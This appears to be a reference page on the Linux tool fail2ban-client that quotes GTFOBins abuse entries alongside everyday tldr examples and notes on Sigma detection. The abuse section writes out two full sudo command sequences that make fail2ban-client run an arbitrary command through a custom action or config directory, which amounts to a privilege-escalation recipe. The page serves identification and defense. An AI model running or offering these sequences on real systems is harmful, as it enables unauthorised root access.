Identifier / Programs / Linux and Unix
fail2ban-client
Configure and control fail2ban server. tldr-pages
GTFOBins command 2 documented commands
How fail2ban-client is abused
command
add
command
-c-vEach abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for fail2ban-client.
2 documented commands
command with sudo
The subprocess is immediately sent to the background, but fail2ban-client waits on a return code from the subprocess. The banip command will hang until the subprocess returns.
fail2ban-client add x
fail2ban-client set x addaction x
fail2ban-client set x action x actionban /path/to/command
fail2ban-client start x
fail2ban-client set x banip 999.999.999.999
fail2ban-client set x unbanip 999.999.999.999
fail2ban-client stop xcommand with sudo
cat >/path/to/temp-dir/fail2ban.conf <<EOF
[Definition]
EOF
cat >/path/to/temp-dir/jail.local <<EOF
[x]
enabled = true
action = x
EOF
mkdir -p /path/to/temp-dir/action.d/
cat >/path/to/temp-dir/action.d/x.conf <<EOF
[Definition]
actionstart = /path/to/command
EOF
mkdir -p /path/to/temp-dir/filter.d/
cat >/path/to/temp-dir/filter.d/x.conf <<EOF
[Definition]
EOF
fail2ban-client -c /path/to/temp-dir/ -v restartNone of the 2 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for fail2ban-client. The identifier reads the line of each that runs fail2ban-client.
Everyday use
Retrieve current status of the jail service
fail2ban-client status jailIdentifyRemove the specified IP from the jail service's ban list
fail2ban-client set jail unbanip ip_addressIdentifyVerify fail2ban server is alive
fail2ban-client pingIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.